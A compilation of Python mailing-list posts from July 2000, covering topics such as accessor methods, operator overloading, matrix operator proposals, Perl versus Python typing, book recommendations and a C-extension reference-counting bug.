Jerome Quelin wrote:
> 
> "Alex Martelli" <alex at magenta.com> wrote:
> >By calling the accessors, rather than accessing the data
> >directly, you ensure that if somebody overrides the
> >accessor functions in a derived class you'll be calling
> >the derived-class versions of those functions.  If that is
> >what you want (one direction along which you want to let
> >inheritors of your class extend or tweak behaviour), then
> >it's probably worth the overhead you mention.
> The class isn't to be derived any further. It's a class that I use in an
> application, and that may be imported in some other applications, but not to be
> inherited.
> 
> Then, is it better/cleaner to access private members with accessors or not?
> Is it a matter of style? Or are there hidden caveheats using (or not using)
> accessors? It _seems_ cleaner to use accessors, but man, it's quite awkward.
> 
> Jerome
> --
> jerome.quelin at insalien.org

As you really have no way to "prohibit" further derivation (unless I
missed the "final" keyword in the reference), using your accessors and
praying that anyone over-riding the accessor/mutator methods does the
proper thing would be my direction.

-- 
Frank V. Castellucci
http://corelinux.sourceforge.net
OOA/OOD/C++ Standards and Guidelines for Linux
http://PythPat.sourceforge.net
Pythons Pattern Package


From moshez at math.huji.ac.il  Thu Jul 27 01:07:06 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Thu, 27 Jul 2000 08:07:06 +0300 (IDT)
Subject: print format
In-Reply-To: <397F56CC.55C036EF@bioeng.ucsd.edu>
Message-ID: <Pine.GSO.4.10.10007270806270.2823-100000@sundial>

On Wed, 26 Jul 2000, Curtis Jensen wrote:

> > I'm still curious as to why sys.stdout.write is so bad.
> > 
> > --
> > -William "Billy" Tanksley
> 
> What is the difference between "print" and "sys.stdout.write"?  Other
> than the obvious new line character.

And the fact that it can accept multiple arguments, and it coerces them 
to strings, and puts spaces between them, you mean? None <wink>
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From cobrien at Radix.Net  Mon Jul 10 09:00:00 2000
From: cobrien at Radix.Net (Cary O'Brien)
Date: 10 Jul 2000 09:00:00 -0400
Subject: Py_Apache Vs. mod_python
References: <3963CF19.3F4CDA8D@bioeng.ucsd.edu> <71vfmsc0sspvpg3mq8k3s1ri653908u9nk@4ax.com> <396863B7.875EA939@stroeder.com> <8kai0a$7g6$1@nnrp1.deja.com>
Message-ID: <8kchcg$f2q$1@saltmine.radix.net>

Somewhat off target...

In article <8kai0a$7g6$1 at nnrp1.deja.com>,  <johnvert at my-deja.com> wrote:

>Which one of these modules can you use to write embedded python code?
>I.e.
>
>foo.html.py:
><html>
><body>
>Looping through red, blue, green:
><python>
>colors = ['red', 'blue', 'green']
>for color in colors:
>    print color
></python>
></body>
></html>
>

Well, in Zope (www.zope.org, natch') you can write

<dtml-in "['red','blue','green']">
  Color is <dtml-var sequence-item><br>
</dtml-in>

Or you can call an external Python function.

There is much more to Zope, though.

-- cary



From neilh at scintilla.org  Wed Jul 26 03:23:47 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Wed, 26 Jul 2000 07:23:47 GMT
Subject: PythonWin/Scintilla aggressive folding...
References: <guif5.43644$1h3.552517@news20.bellglobal.com> <2trf5.12076$4p3.93728@news-server.bigpond.net.au> <1csf5.40036$Gh.442627@news20.bellglobal.com>
Message-ID: <7mwf5.12307$4p3.95451@news-server.bigpond.net.au>

> If you assumed that comments were not "level neutral", would that fix it
for
> me?  Maybe this could be an option, a flag of somesort called
> "LevelNeutralComments"???  Is this a work-around-patch-fix that would
> satisfy more than me?  Would a different type of comment (like a double or
> triple sharp?) also help?

   Yes, a patch like this could help for your code. I introduced the level
neutral comments idea after developing the original strictly indentation
based code and using it on example files. First blank lines had to become
level neutral as lots of functions and methods have blank lines. Then I
found lots of commented out bits so made the comment lines work like blank
lines. Another heuristic that may be light weight would be that comment
lines try to bind in a forwards direction but this may require some
look-ahead.

> ...I'm cool with that...  But I have a feeling that I might have a memory
or
> performance issue if I start sprinkling "triple-quote comments" all over
the
> place like that.  Is this the case?  Maybe the triple-sharp comment idea
> would be better??

   I think they bulk the compiled code up a bit but I doubt whether its
significant.

   Neil





From fgeiger at datec.at  Mon Jul 31 07:40:34 2000
From: fgeiger at datec.at (Franz GEIGER)
Date: Mon, 31 Jul 2000 13:40:34 +0200
Subject: Anyone who tried JPython on a Psion S5Pro?
Message-ID: <8m3ofj$12p$1@pollux.ip-plus.net>

Hello,

I wonder if anybody ever tried to use JPython on an EPOC machine.
Where should I go to read about what's needed, the caveats, how to develop
etc.?

Thanks in advance and best regards
Franz GEIGER





From jeremy at beopen.com  Wed Jul  5 21:40:43 2000
From: jeremy at beopen.com (Jeremy Hylton)
Date: 05 Jul 2000 21:40:43 EDT
Subject: Overloaded Operators allowed???
References: <8k07ke$j0r@news.or.intel.com> <3963AADB.25A6776E@roguewave.com> <8k0f7m$rma@news.or.intel.com>
Message-ID: <blbt0cf2z9.fsf@bitdiddle.concentric.net>

"Jeff" <no_spam at umich.edu> writes:

> Well yes, that is true, but say I wanted to overload "/" to operate on a
> class such as "cookies".  Can this be done?
> 

The Language References lists all the possibilities for operator
overloading: 

http://www.python.org/doc/current/ref/specialnames.html

--Jeremy Hylton, <http://www.python.org/~jeremy/>


From Alessandro.Bottoni at think3.com  Mon Jul 10 05:45:26 2000
From: Alessandro.Bottoni at think3.com (Alessandro Bottoni)
Date: Mon, 10 Jul 2000 11:45:26 +0200
Subject: Python book suggestions?
Message-ID: <6D8A17398E28D3119F860090274DD7DBF13CEE@pces.cadlab.it>

> -----Original Message-----
> From:	Randall Parker [SMTP:rgparker at west.net]
> Sent:	Monday, July 10, 2000 2:19 AM
> To:	python-list at python.org
> Subject:	Python book suggestions?
> 
> I would like to learn Python because people I respect think highly of it. 
> I have backgroun in C++, Java, and assorted other languages. I intend to 
> use Python to do web site development.
> 
	[Alessandro Bottoni]
	Well, with your background you should not have any problem in
learning Python from the standard documentation that came with the
distribution. Just a suggestion: put this stuff in the wwwroot directory of
an IIS server and index it. This make possible to search the documentation
by keyword (a required tool for Python documentation, IMHO). 

> Does anyone have any suggestions as to which books are good for learning 
> the Python language? 
> 
	[Alessandro Bottoni]
	I LOVE this book: 
	"Learning Python" by Mark Lutz and David Ascher
	Published by O'Reilly
	ISBN 1565924649
	It is concise, exhaustive, clean and well-organized.

> How about a book about Python and XML?
> 
	[Alessandro Bottoni]
	There is just one, and it is quite good: 
	"XML processing with Python"
	By Sean McGrath
	Published by Prentice-Hall
	ISBN 013211192

> How about a book about Python for web site development?
> 
	[Alessandro Bottoni]
	Unfortunately, the only existing book on this topic is out of print:
	"Internet Programming with Python"
	By Aaron Watters and James Ahlstrom
	Published by M&T Books
	ISBN 1558514848

> I'm thinking of starting with the v1.6 version that I see from an article 
> has a number of language changes over previous versions. Are any books 
> due out imminently that will cover this newer version?
> 
	[Alessandro Bottoni]
	As long as I know, no. It is too early.

	Last suggestions:

	If you are working on Windows, buy this book:
	"Python Programming on Win32"
	By Mark Hammond and Andy Robinson
	Published by O'Reilly
	ISBN 1565926218

	If you have to develop GUIs, buy this book:
	"Python and Tkinter programming"
	By John Grayson
	Published by Manning
	ISBN 1884777813

	See you

----------------------------------------------------------------
Alessandro Bottoni (Alessandro.Bottoni at Think3.com)
Web Programmer @ Think3 inc. (www.think3.com)
I do not speak for think3 and they return the favour




From cozald at hotmail.com  Wed Jul 26 14:07:29 2000
From: cozald at hotmail.com (OC)
Date: Wed, 26 Jul 2000 11:07:29 -0700
Subject: HELP!! system calls?
Message-ID: <8lnaef$i3u$1@nntp.itservices.ubc.ca>

Hello People,

I have a question about sys calls.  I am trying to call a tcl script with
the following command:

os.system('tclsh80 file.tcl')  and it gives me a permission denied error...

I checked my files permission (I am using winNT) and they are fine.

Anyone know why, or is there a better way to do it?

I will greatly appreciate your help.
Thanks in advance,
Os




From richard_chamberlain at ntlworld.com  Tue Jul 11 15:40:06 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Tue, 11 Jul 2000 20:40:06 +0100
Subject: Enumerating drives in Python or wxPython
References: <8aKa5.485$652.11285@newsc.telia.net>
Message-ID: <AIKa5.11232$dL5.177595@news6-win.server.ntlworld.com>

Deja vu ? Didn't I answer this question yesterday ?

Richard

Lars Lundstedt <lars.lundstedt at telia.com> wrote in message
news:8aKa5.485$652.11285 at newsc.telia.net...
> The subject line says it all. How do I do it?
> Anyone who knows?
>
> /LasseLu
>
>




From paul at prescod.net  Tue Jul 18 17:01:12 2000
From: paul at prescod.net (Paul Prescod)
Date: Tue, 18 Jul 2000 16:01:12 -0500
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators  
 for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735A82.8B4D0489@prescod.net> <slrn8n6ppl.sf.hzhu@rocket.knowledgetrack.com> <qnkaefg4esq.fsf@arbutus.physics.mcmaster.ca> <slrn8n75s4.2jc.hzhu@rocket.knowledgetrack.com> <3973A347.3ABCB12F@prescod.net> <ilq8nss3pc0luvogh4kdh1pdlrnu7614df@4ax.com>
Message-ID: <3974C598.BCAD053@prescod.net>

John Lull wrote:
> 
> ...An element-wise matrix, however, would have exactly the
> same data as the original matrix, it just has a lot of the *methods*
> replaced.  

So? That's easy.

> To make this work for derived classes, you have to either
> add a level of indirection to all the standard operator methods, or
> prohibit overriding the standard operator methods.

Either option is easy. Are we really that concerned about matrix
subclasses? 

> This would provide a way of adding a reasonable variety of
> domain-specific operators to *any* class with very little impact on
> the language, zero runtime penalty, and obvious & correct behaviour
> when creating derived classes.  It would not break any existing code
> and should be very simple to implement.

This is basically the original proposal slightly reworded. The problem
is that alot of people think that adding operators without predefined,
cross-module semantic is un-pythonic. Python allows operator overloading
but the meaning behind the syntaxes are always well-defined. "+" is for
addition-like things. "*" is for multiplication-like things. [] for
indexing-like things, "." for attribute-like things and so forth.

-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist





From nick_p at dingoblue.net.au  Wed Jul 19 20:10:13 2000
From: nick_p at dingoblue.net.au (Nicko)
Date: 20 Jul 2000 00:10:13 GMT
Subject: Making Windows GUI programs
Message-ID: <8F776CE84nickperkinsusanet@203.2.75.243>

Hi. I was wondering if anyone could point me in the direction of some GUI 
help for windows. I would like to write a program using the windows API 
set, but the help file that came in the win32all package doesn't make any 
sence to me. If someone can point me in the direction of maybe a tutorial 
or a nice document that can help, I would be greatful

Thanks in Advance,
Nick Perkins


From sdm7g at Virginia.EDU  Wed Jul 26 12:36:39 2000
From: sdm7g at Virginia.EDU (Steven D. Majewski)
Date: Wed, 26 Jul 2000 12:36:39 -0400 (EDT)
Subject: print format
In-Reply-To: <397F0C4C.862CA238@bioeng.ucsd.edu>
References: <397E3530.E821018C@bioeng.ucsd.edu> <397F0C4C.862CA238@bioeng.ucsd.edu>
Message-ID: <Pine.A32.3.90.1000726123133.19878B-100000@elvis.med.Virginia.EDU>

On Wed, 26 Jul 2000, Curtis Jensen wrote:

> Also, anyone know how to print formatted text with a list and not a
> tuple?
> 

Well, besides:

	print  ( len(list) * fmt_str ) % tuple( list ) 

there's: 

	print string.join( map( operator.__mod__, 
				len(list)*[fmt_str],
				list ),  sep_chr )





From robin at jessikat.fsnet.co.uk  Thu Jul 20 10:52:55 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 20 Jul 2000 15:52:55 +0100
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>
 <8l6vul$5ig$1@slb3.atl.mindspring.net>
Message-ID: <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk>

In article <8l6vul$5ig$1 at slb3.atl.mindspring.net>, Aahz Maruch
<aahz at netcom.com> writes
>In article <Pine.LNX.4.10.10007191505070.1129-100000 at rocket.knowledgetrack.com>,
>Huaiyu Zhu  <huaiyu_zhu at yahoo.com> wrote:
>>
>>        matrix          element      names (with prefix m or e)
>>          +               .+            add
>>          -               .-            sub
>
>I am strongly opposed to operators of the form ".+".  What happens if
>take an expression of the form "5.+matrix"?  No, that goes against the
>Python rule of having zero ambiguity.
>--
>                      --- Aahz (Copyright 2000 by aahz at netcom.com)
>
...
people keep talking about matrix operations as though there is only one
way to do one kind of matrix multiply; I use at least two (inner, outer)
commonly, but others eg Kronecker or Lie are certainly in use. I don't
think any proposal which doesn't address this is likely to get my vote.
-- 
Robin Becker


From ge at nowhere.none  Fri Jul 28 11:34:27 2000
From: ge at nowhere.none (Grant Edwards)
Date: Fri, 28 Jul 2000 15:34:27 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com>
Message-ID: <7Khg5.2679$6E.683965@ptah.visi.com>

In article <slrn8o397m.3ok.grey at teleute.rpglink.com>, Steve Lamb wrote:
>On Fri, 28 Jul 2000 14:27:58 GMT, Grant Edwards <ge at nowhere.none> wrote:

>>If I typed "1", that means I wanted a word, a printible string, and _not_ an
>>integer.  If I wanted an integer I would type 1 instead of "1".  If I want to
>>convert a string to an integer or an integer to a float or a float to a
>>string, then _I_ will do it. I do _not_ want the language to make WAGs about
>>what I meant when I typed something.
>
>@names = ("Bob","Bob","Bob","Robert Paulson");
>@occupation = ("Uncle","Uncle","Uncle","Mayhem");
>$index = 0;
>foreach $name (@names){
>  $done = 0;
>  $x = 0;
>  while (!$done){
>    if ($members{$name.$x}){
>      $x++
>      next;
>    }
>    else{
>      $members{$name.$x} = $occupation[$index];
>    }
>  }
>}
>
>    Your argument completely ignores cases like the above, doesn't it?  Where
>you want to have a counter incremented (math function) but need to use it in a
>string constantly.  Simplistic example, yes, but a valid one.  Why force the
>programmer to do constant switching to do such a simple thing?

I'm not ignoring that case.  I'm stating that I want to do the
conversions explicitly rather than implicitly.  Why do you find
it so difficult to believe that "I want X" when I tell you "I
want X"?  I'm _not_ trying to tell you that "you want X" or
"you should use X".  I am trying to tell you that "I use X"
because "I want X".

>>There's nothing "wrong" with it.  I just don't want it to happen. The people
>>responsible for designing the language apparently didn't want it to happen.
>>Choose or invent a language that matches what you want.  Nobody (sane) claims
>>that a particular language is the best one for everybody or for every
>>application.
>
>    Exactly my point.  I don't like it but I'm not asking for it to be
>changed.  I'm just a little tired, in all of what, two days, of people putting
>down another language for doing something which /they/ consider wrong.  I
>consider it wrong in Python not because I'd like to see different, but because
>I was told Python doesn't have that ambiguity when it does, that it doesn't do
>conversion, when it does, that it doesn't do things "automagically" when it
>does.  I'm pointing out that it is just as ambiguious in its own way and that
>I personally consider it wrong but, as I stated in one message, I will learn
>to use that.
>
>>I don't think it makes sense to do so.  If I explicitly denote an object as a
>>string (e.g. "1"), then I want it to be a string and I want it to _stay_ a
>>string.
>
>    Because you're thinking in types.  I've stated that I don't like thinking
>in such primitive terms.  I don't consider 1 an integer, a string, a
>character, a float, a complex or anything else in and of itself.  I take into
>account the context of the operation.  You don't.

Fair enough.

-- 
Grant Edwards                   grante             Yow!  I was in a HOT
                                  at               TUB! I was NORMAL! I was
                               visi.com            ITALIAN!! I enjoyed th'
                                                   EARTHQUAKE!


From claird at starbase.neosoft.com  Tue Jul 18 09:30:04 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 18 Jul 2000 08:30:04 -0500
Subject: Best way to switch  between different view
References: <3bRcSR$mve@openbazaar.net>
Message-ID: <A583951E523DBAD1.2664203EBF76085B.34F19BE401874AFD@lp.airnews.net>

In article <3bRcSR$mve at openbazaar.net>,
Horst Gassner <horst at proceryon.at.bbs@openbazaar.net> wrote:
>Hi all!
>
>In my application there are three different kind of views. Each of them
>has to be displayed in the same main window. Two of them are scrolled
>canvases and one is a scrolled frame (all of them with many widgets
>inside).
>
>What is the best way to handle this different views? At the moment I
>completely destroy one view and rebuild the new one but there must be a
>better way. Some time ago I have read something about an unpack method
>to hide a widget. Could this be the best way to do this?
			.
			.
			.
Are you using Tkinter's pack?  You'll probably want to learn
the pack_forget() method
<URL:http://www.pythonware.com/library/tkinter/introduction/x6109-methods.htm>.
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From no_spam at umich.edu  Wed Jul  5 19:09:41 2000
From: no_spam at umich.edu (Jeff)
Date: Wed, 5 Jul 2000 16:09:41 -0700
Subject: Overloaded Operators allowed???
References: <8k07ke$j0r@news.or.intel.com> <3963AADB.25A6776E@roguewave.com>
Message-ID: <8k0f7m$rma@news.or.intel.com>

Well yes, that is true, but say I wanted to overload "/" to operate on a
class such as "cookies".  Can this be done?

jy

Bjorn Pettersen <bjorn at roguewave.com> wrote in message
news:3963AADB.25A6776E at roguewave.com...
> Jeff wrote:
> >
> > Can you overload operators as you can in other languages?  For example,
can
> > I make "&" give the address of something as in C++?  Or can I only
overload
> > things like the cmp operator?  i.e. I want to say &string and get the
> > address of string.
>
> Since "&string" is illegal syntactically in Python it wouldn't make
> sense to let you overload on it.  It would be like saying "I want to
> overload @ in C++ so I can use it to append lists, like list1 @
> list2..."
>
> Besides, you really don't want the address of the string (trust me
> <wink>).
>
> -- bjorn
>




From dalke at acm.org  Tue Jul  4 15:09:21 2000
From: dalke at acm.org (Andrew Dalke)
Date: Tue, 4 Jul 2000 13:09:21 -0600
Subject: Random number generation, simple question.
References: <Pine.GSO.4.21.0007031546410.25965-100000@luna.dsv.su.se> <8jqjf8$s1t$1@nnrp1.deja.com> <39615d75.142572338@news>
Message-ID: <8jtcid$4um$1@nntp9.atl.mindspring.net>

Reini Urban wrote:
>There were some C libs around dealing with
>some special PC timer chips which can be abused for exactly that.
>
>such as the linux /dev/random pseudodevice

I was looking into this a few weeks ago.  I was doing some CGI work
in Perl and wanted to make sure the random number I used for the session
id was hard to guess.  If you call rand without calling srand, Perl
will use a combination of the time (in microseconds, if available),
PID, current stack size, value of the pointer passed to get the time,
and several other values.

What I saw, though, was a compile time option to use /dev/random if
it exists.  I would have thought that would be enabled by default, but
it made some comment about how the read will block if there isn't enough
entropy in the source pool.  Is this ever a problem in real life?

                    Andrew
                    dalke at acm.org





From rumjuggler at cryptarchy.org  Fri Jul 28 14:57:15 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Fri, 28 Jul 2000 18:57:15 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com>
Message-ID: <27m3osk4lglhgqijgs64f5knghtslkmact@4ax.com>

On Fri, 28 Jul 2000 15:28:57 GMT, grey at despair.rpglink.com (Steve Lamb)
wrote:

>On Fri, 28 Jul 2000 09:14:31 GMT, Ben Wolfson <rumjuggler at cryptarchy.org>
>wrote:
>>If I type 1, I think "integer".  Sorry.  This is true outside the realm of
>>programming.  If I'm talking to someone online and I want to express the
>>idea of a string containing the character '1', I will write "1" or '1'.
>
>    Is it?  How many non-programmers would do that?  You do it only because
>you are a programmer who is used to catagorizing data into different types.    

Actually that's completely untrue, because I did that before I started
programming.

-- 
Barnabas T. Rumjuggler

Who is general Pao, and why are we eating his chicken?
 -- possibly Legion, in one o' dem wacky-ass Wildcard books


From no at bo.dy  Fri Jul 21 00:03:05 2000
From: no at bo.dy (nobody)
Date: Thu, 20 Jul 2000 23:03:05 -0500
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <upuo9h97v.fsf@ctwd0143.fitlinxx.com> <E7td5.21925$DZ4.71373@news.corecomm.net> <slrn8nd79h.tb1.thantos@brimstone.mecha>
Message-ID: <kYOd5.25111$DZ4.84522@news.corecomm.net>

thantos at chancel.org (Alexander Williams), in
<slrn8nd79h.tb1.thantos at brimstone.mecha>:
> On Wed, 19 Jul 2000 22:13:12 -0500, nobody <no at bo.dy> wrote:

>>(fwiw, my preference for this stems mostly from a liking for brevity;
>>the one real "flaw" in all the python workarounds is verbosity. i tend
>>to think

> If you want brevity, there are freeware APL interpreters.

perhaps i was not clear; brevity and clarity need not be mutually
exclusive, and both are to me equally important. i like perl's
little idioms because, correctly used, they let me have both;
python seems to let me be clear (well, mostly - i'm having a hard
time seeing where blocks end, i'm noticing...) but not as concise
as i'd like to be.

>  If you
> actually have to LOOK at code again 6mo later, you'll be very, very
> thankful for Python's verbosity.

no, i won't. i _will_ be grateful that python's syntax and style is
fairly clear, but i will also be wishing it could be as clear in
about one half as many lines and statements. well written perl can be;
please, don't complain about badly written any-language, as i'm not
talking about badly written code.



From alex_c at mit.edu  Wed Jul 19 09:31:27 2000
From: alex_c at mit.edu (Alex Coventry)
Date: 19 Jul 2000 09:31:27 -0400
Subject: SEGFAULT. Bug in interpreter?
References: <14709.41111.349921.206139@temoleh.chem.uu.nl>
Message-ID: <etdsnt6mekw.fsf@nerd-xing.mit.edu>

The script you gave gives me a syntax error:

SyntaxError: 'continue' not properly in loop (line 35)

Alex.


From digitig at cix.co.uk  Sat Jul  8 04:40:00 2000
From: digitig at cix.co.uk (Tim Rowe)
Date: Sat, 8 Jul 2000 09:40 +0100 (BST)
Subject: Newbie: Development plaform
References: <20000707190803.4740.qmail@web210.mail.yahoo.com>
Message-ID: <memo.20000708094048.7189A@digitig.compulink.co.uk>

In article <20000707190803.4740.qmail at web210.mail.yahoo.com>, 
eaganhills at yahoo.com (Demos Economacos) wrote:

> Hello,
> 
> I am comtemplating development of a system that will
> have to run on Linux, Win and Mac. 
> 
> My questions are: 
> What GUI tool and Database (< 100,000 recs) would you
> recommend?
> How to distribute programs to users (< 100)


TK (using tkinter under Python) should do the GUI (don't know Mac, but I'd 
be surprised if it wasn't supported).


From alex at magenta.com  Wed Jul 26 11:18:27 2000
From: alex at magenta.com (Alex Martelli)
Date: Wed, 26 Jul 2000 17:18:27 +0200
Subject: polymorphism  (was  Re: Type checking in python?)
References: <8lmo4i$s28$1@news.kth.se>
Message-ID: <8lmvn6017l@news1.newsguy.com>

"Oivvio Polite" <oivvio at cajal.mbb.ki.se> wrote in message
news:8lmo4i$s28$1 at news.kth.se...
> Hi all.
>
> I'm building a class with a uniform interface and I'm trying to come to
> terms with polymorphism in python.

Hmmm... I think you want "overloading" (methods that do different
things depending on their arguments' types) rather than "polymorphism"
(calling method upon an object, without caring which actual type that
object IS, as long as it provides methods that Do The Right Thing).  A
subtle distinction, to be sure, but an important one.


> For instance I want the constructor to take either a filename, a file
object
> or a database connection object.
> In C++ this would be done using three different constructors. (I'm not
quite
> sure about this, cause I don't know C++ :-)

Yes: you would use three different overloads of the constructor.

> But how should one do it in python.

My instinctive approach (and it may be that I still haven't developed the
"right" Python instincts, because I haven't been using it long!) would be :

class myclass:
    def __init__(filename=None, fileobject=None, dbconn=None):
        if filename:
            # initialize using the filename
        elif fileobject:
            # initialize using the fileobject
        elif dbconn:
            # initialize using the db connection
        else:
            # throw an exception, or whatever

Client-code would then use, e.g.,

    myobj = myclass("foo.dat")
or
    myobj = myclass(filename="foo.dat")

to initialize with a filename,

    myobj = myclass(fileobject=open("foo.dat"))

to initialize with a file object, etc.


The alternative, given a single, "anodyne" argument to
__init__, would be for myclass to try to find out if it
"BEHAVES like a filename string", "BEHAVES like a
fileobject", etc, rather than trying to ascertain whether
it "IS" one of those.  "The IS of identity", bemoaned by
Korzibsky, is just as generally inappropriate in Python as
he claimed it to be in terms of fuzziness of thinking; and
Wittgenstein before him pointed out how language-games,
and NOT mathematical-identity, determine applicability of
a term-in-context.

In other words, don't check whether it IS-a duck: check
whether it QUACKS-like-a duck, WALKS-like-a duck,
etc, etc, depending on exactly what subset of duck-like
behaviour you need to play your language-games with.  If
the argument fails this specific-ducklyhood-subset-test, then
you can shrug, ask "why a duck?" (at least, you can if you're
a Marx Brothers fan and have memorized "Cocoanuts"' script;
Monty Python one-true-wayists will have to find their own
simile here), and move on to the next set of tests (why-a-no-
chicken immediately comes to mind, but then one would have
to ask why it crosses the road, so I think we'd better snip it).

On the other hand, this can be a considerable amount of work,
depending on how you go about it (actually, it need not be that
bad if you "just go ahead and try", of course catching the likely
exceptions if the try does not succeed; but still, greater than 0).

Besides, "explicit is better than implicit", goes one of Python's
mantras.  Just let the client-code explicitly TELL you which kind
of argument they are passing you (and doing so through a named
argument is simple and readable), and your work drops to zero,
while removing no useful functionality whatever from the client.
As a little vig, you also avoid trouble in case what the client wants
to pass is some tricky object that behaves EITHER as a file
connection OR as a db connection (etc, etc) -- not all that likely,
but, who knows.


About typeswitching in general...:

> Looking at resent posts I found a thread on type checking that contained
> this unsettling post:
>
> <paul at prescod.net> wrote:
> > Let me also point out that in many cases, this style of programming
> > would be frowned upon by serious Python programmers. For instance, if
> > you check that something is a string, your code will complain when it is
> > handed a Unicode string, even though it would probably work fine. If you
> > check that it is an open file, then your code probably will complain
> > about stringIO file-like objects, even though it would probably work
> > fine. If you check that it is an integer, your code will complain about
> > integers, even though ti would probably work fine.

Amen, hallelujah.  You don't really care for IS-A -- you really only care
for BEHAVES-LIKE-A-(in-this-specific-context), so, if you do test, this
behaviour is what you should be testing for (although I assume Paul Prescod
meant "longs" where he wrote "integers" on the last line, or else I don't
know
what those two last lines mean).


> What are your experiences? Does the type(arg) checking really become
> unmanageable as Paul's post implies? If so what are the alternative
routes?

I have no direct experience of setting up such typeswitching *in Python*,
but
I *do* know it becomes unmanageable, for various reasons, in languages
where I painted myself into that corner.  Stroustrup had the same experience
with typeswitching in Simula-67, which is why he so carefully kept it out of
C++ (it snuck back in as dynamic_cast, but that is _supposed_ to be used
as the closest C++ equivalent of does-it-support-this-functionality-set [by
dyncasting to a suitable pointer-to-abstract-interface] -- although of
course it
is just as easy to mis-use it as a typeswitch, sigh).  However, the
languages
I've fallen into this particular pitfall in were not as dynamic/fluid as
Python is,
so I can't be "sure because of personal experience" that it is indeed a
danger;
still, all of my instincts ARE yelling "yes, yes, exactly!" in chorus with
Paul
Prescod (and some of my favourite thinkers, as above quoted, appear to
provide solid back-up general reasons:-).

The "royal-road" alternative route to overloading would, I think, be the use
of suitable named-arguments.  A rockier road, perhaps preferable in some
cases, but more work for dubious benefit, would be the try/except approach
to see if an argument supplies the functionalities you require.


Alex





From fermigier at localhost.localdomain  Thu Jul  6 14:16:48 2000
From: fermigier at localhost.localdomain (fermigier)
Date: 6 Jul 2000 20:16:48 +0200
Subject: POOP / Python (Object Oriented Persistence) ?
Message-ID: <8k2ieg$5mg$1@localhost.localdomain>

I've just read this announcement in Linux Weekly News today:

``The Poop on persistence (PerlNews). Perl News talks about two new
mailing lists for Perl Object Oriented Persistence (Poop). This is an
effort to encourage communication between module authors and to address
redundant object persistence issues.  Also read about the latest Perl
modules.'' (Ref: http://news.perl.org/).

Is there an opportunity to start such a discussion, or at least to gather
the solutions that have been developped for Python (and compare them to
their Perl/Java counterparts) ?

Regards,

	S.

-- 
St?fane Fermigier, <www.fermigier.com>


From bdupire at seatech.fau.edu  Sat Jul  8 23:52:44 2000
From: bdupire at seatech.fau.edu (Benoit Dupire)
Date: Sat, 08 Jul 2000 23:52:44 -0400
Subject: Setting a C-structure from Python
References: <39649D5C.F1652171@seatech.fau.edu>
Message-ID: <3967F70C.17A90288@seatech.fau.edu>

I think I find out where the bug was.
Thanks Armin !

Why this C extension didn't work ?

>
>  static PyObject * test_setstruct(PyObject * self, PyObject * args) {
>  PyObject * string_from_python;
>
>  if (!PyArg_ParseTuple(args,"S",&string_from_python)) return NULL;
>
>  example= (examplestruct *) PyString_AsString(string_from_python);
> Py_DECREF(string_from_python);
>  print_struct();
>
>  Py_INCREF(Py_None);
>  return Py_None;
>  }

Simply because the  "example"  pointer  points to memory owned by
string_from_python
it point to internal data which is actually part of the string object.
When I "decref "   string_from_python, its reference counter becomes 0, and
the string object is deleted.
So  "example" points to something wrong in memory.


thank you again
Benoit.





From jeremy at beopen.com  Fri Jul  7 11:35:14 2000
From: jeremy at beopen.com (Jeremy Hylton)
Date: 07 Jul 2000 11:35:14 EDT
Subject: Comparing 2 class types
References: <L2k95.37383$NP5.1176274@newsread2.prod.itd.earthlink.net> <slrn8mbl2p.1v5.jepler.lnk@potty.housenet>
Message-ID: <blzonuymre.fsf@bitdiddle.concentric.net>

[Arint? wrote:]
>> How can you know if a 2 variables are different instances of the
>> same class? 
>> x = someclass()
>> y = someclass()
>> I tried is, type, and type(x)  is someclass, but none seem to work
>> unless I did it wrong.

[jepler.lnk at lnk.ispi.net (jepler epler) wrote:]
> isinstance()

isinstance is helpful, but not exactly what you're looking for.
Here's the doc string:

   isinstance(object, class-or-type) -> Boolean

   Return whether an object is an instance of a class or of a subclass
   thereof. With a type as second argument, return whether that is the
   object's type. 

so

instance(x, someclass) == 1
instance(y, someclass) == 1

If you want t compare the classes of x and y, use the __class__
attribute of the instance.

x.__class__ == y.__class__

This will only work if x and y have exactly the same class.  If you
have the following it won't work.

class otherclass(someclass):
	pass

x = someclass()
y = otherclass()

isinstance(x, someclass) == 1
isinstance(y, someclass) == 1
x.__class != y.__class__

Jeremy





From blinocac1 at home.com  Tue Jul 11 18:42:07 2000
